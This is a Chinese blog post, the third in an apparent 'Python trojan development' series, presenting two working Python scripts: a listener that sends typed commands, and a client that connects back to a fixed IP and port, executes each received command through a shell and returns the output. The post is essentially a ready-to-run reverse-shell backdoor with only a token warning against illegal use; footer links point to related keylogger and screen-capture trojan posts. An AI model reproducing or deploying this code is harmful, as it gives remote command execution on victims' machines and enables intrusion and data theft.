前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写

有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服。我的代码自己运行过,很稳,各位慎重,勿做非法之事

因为是木马入门,所以前几篇比较简单,也只是一个模块搭建,后期我会逐步搭建框架,一周我也只会出两三篇来记录自己的编写历程,所以大佬们亲喷

首先当然是控制端

 from socket import *
 import os
 import time
 import subprocess

 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024
 tcpSock = socket(AF_INET, SOCK_STREAM)
 tcpSock.bind(addr)
 tcpSock.listen(5)

 while True:
     conn,addr=tcpSock.accept()
     while True:
         data = input("input the command:\n")
         conn.send(bytes(data,encoding="utf-8"))
         getdata = str(conn.recv(buff),encoding="utf-8")
         if not getdata:
             break
         print(getdata)
     tcpSock.close()

再就是被控端

 import socket
 import os
 import subprocess
 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024

 cli = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 cli.connect(addr)

 while True:
     data = str(cli.recv(buff),encoding="utf-8")
     if not data:
         break
     print(data)
     f =subprocess.Popen(data,shell=True, stdout=subprocess.PIPE).stdout
     redata = bytes(str(f.read()),encoding="utf-8")
     cli.sendall(redata)
 cli.close()

python trojan development 3rd —— use python to creative a simple shell的更多相关文章

  1. python trojan development 2nd —— use python to send mail and listen to the key board then combine them

    请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...

  2. python trojan development 1st —— use python to send mail and caputre the screen then combine them

    import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...

  3. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  4. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  5. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  6. python学习: 如何循序渐进学习Python语言

    大家都知道Python语言是一种新兴的编程语言.1989年,Python就由Guido van Rossum发明.Python一直发展态势很好. 原因有几点:1.跨平台性好.Linux.Windows ...

  7. [IT学习]Learn Python the Hard Way (Using Python 3)笨办法学Python3版本

    黑客余弦先生在知道创宇的知道创宇研发技能表v3.1中提到了入门Python的一本好书<Learn Python the Hard Way(英文版链接)>.其中的代码全部是2.7版本. 如果 ...

  8. 『无为则无心』Python基础 — 3、搭建Python开发环境

    目录 1.Python开发环境介绍 2.Python解释器的分类 3.下载Python解释器 4.安装Python解释器 5.Python解释器验证 1.Python开发环境介绍 所谓"工欲 ...

  9. 【python之路1】python安装与环境变量配置

    直接搜索 Python,进入官网,找到下载,根据个人电脑操作系统下载相应的软件.小编的是windows os .下载python-2.7.9.msi 安装包  双击安装程序,进入安装步骤.在安装过程中 ...

随机推荐

  1. RabbitMq核心概念和术语

    简介 越来越多的消息中间件很容易让人产生混淆,在学习一种消息中间件的时候,最好先了解他的几种抽象概念,方便你理解,明白了这些概念,你学习起来的时候也就得心应手,同时也是使用好RabbitMQ的基础. ...

  2. 1.开始第一个MVC项目

    安装就不说了 1.在指定路径创建好项目文件夹之后,打开cmd,进去这个文件夹路径下 输入命令 dotnet new mvc 就会在文件夹内创建一个mvc项目 2.创建好项目之后 直接在这个路径下输入 ...

  3. 使用WPF创建画图箭头

    原文:使用WPF创建画图箭头 今天要给leader line画个箭头,所以就google一下,找到下面的文章,写的不错,可以实现我的需求,所以就摘录下来. 我把源代码中的arraw.cs加入到我的工程 ...

  4. Archlinux 下Intel + NVIDIA 双显卡3D 游戏配置(dota2@steam)

    下午打了几场dota2 感觉流畅度还算非常不错的,写点东西记录一下.用Archlinux 的一般来说都会用搜索引擎,所以仅仅说下须要注意的地方就可以. 1. steam 自带的OpenGL 库是过时的 ...

  5. 带农历日历的DatePicker控件!Xamarin控件开发小记

    原文:带农历日历的DatePicker控件!Xamarin控件开发小记 闲来无事开发了个日期选择控件,感兴趣的同学前往: https://github.com/MatoApps/Mato.DatePi ...

  6. 使用Struts2的iterator标签遍历复杂Map种类

    1.建一个Webproject.加入Struts2支持. 2.创建两个实体类: a). Mother(母亲)的Java类. package struts.map.entity; import java ...

  7. 关于ajax入门案例

    $.ajax方法 1.url: 要求为String类型的参数,(默认为当前页地址)发送请求的地址. 2.type: 要求为String类型的参数,请求方式(post或get)默认为get.注意其他ht ...

  8. LeapMotion Demo3

    原文:LeapMotion Demo3   从Github及其他论坛下载一些LeapMotion的例子,部分例子由于SDK的更新有一些小Bug, 已修复,感兴趣的可以下载:       http:// ...

  9. Emgu-WPF 激光雷达研究-移动物体跟踪

    原文:Emgu-WPF 激光雷达研究-移动物体跟踪 接前两篇博客: 激光雷达数据解析并绘制雷达图 https://blog.csdn.net/u013224722/article/details/80 ...

  10. shell脚本自动化安装LAMP

    #!/bin/bash#auto make install LAMP#by authors yehailun #arp和apr-util依赖APR_FILES=apr-1.6.2.tar.gz APR ...